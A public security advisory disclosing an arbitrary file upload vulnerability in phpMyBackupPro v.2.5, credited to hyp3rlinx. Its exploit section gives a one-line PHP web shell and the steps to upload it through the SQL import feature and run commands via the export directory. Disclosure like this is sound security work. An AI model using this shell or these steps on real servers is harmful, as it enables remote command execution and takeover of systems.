phpMyBackupPro v.2.5 Arbitrary File Upload

[+] Credits: hyp3rlinx

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[+] Source:  http://hyp3rlinx.altervista.org/advisories/PHPMYBACKUPPRO-v2.5-FILE_UPLOAD_VULN.txt



Vendor:
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www.phpmybackuppro.net

project site:
sourceforge.net/projects/phpmybackup/



Product:
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phpMyBackupPro v.2.5 (PMBP)

phpMyBackup Pro is a very easy to use, free, web-based MySQL backup application, licensed under the GNU GPL.
You can create scheduled backups, manage and restore them, download or email them and a lot more.



Vulnerability Type:
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Arbitrary File Upload



CVE Reference:
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N/A



Vulnerability Details:
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phpMyBackupPro allows SQL uploads but fails to check the actual file type, allowing arbitrary file uploads which
can lead to arbitrary OS command, backdoor shells etc...



Exploit code(s):
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Arbitary File Upload under "database queries" user has option to 'Upload sql file':

1) upload malicious PHP file containing <?php exec(@$_GET['cmd']); ?> as an SQL import using select "fragmented".
2) click 'Yes' when prompted 'Do you really want to import this backup?'
3) make HTTP request to process the uploaded PHP file e.g. http://localhost/phpMyBackupPro-2.5/export/EVIL.php and BOOOOOOM!

'export' directory comes unprotected with no .htaccess file etc.. and most important file upload type is not checked.



Disclosure Timeline:
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Vendor Notification:  NR
February 16, 2016  : Public Disclosure



Exploitation Technique:
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Local



Severity Level:
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High



Description:
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Request Method(s):        [+]  POST


Vulnerable Product:       [+]  phpMyBackupPro v.2.5 (PMBP)


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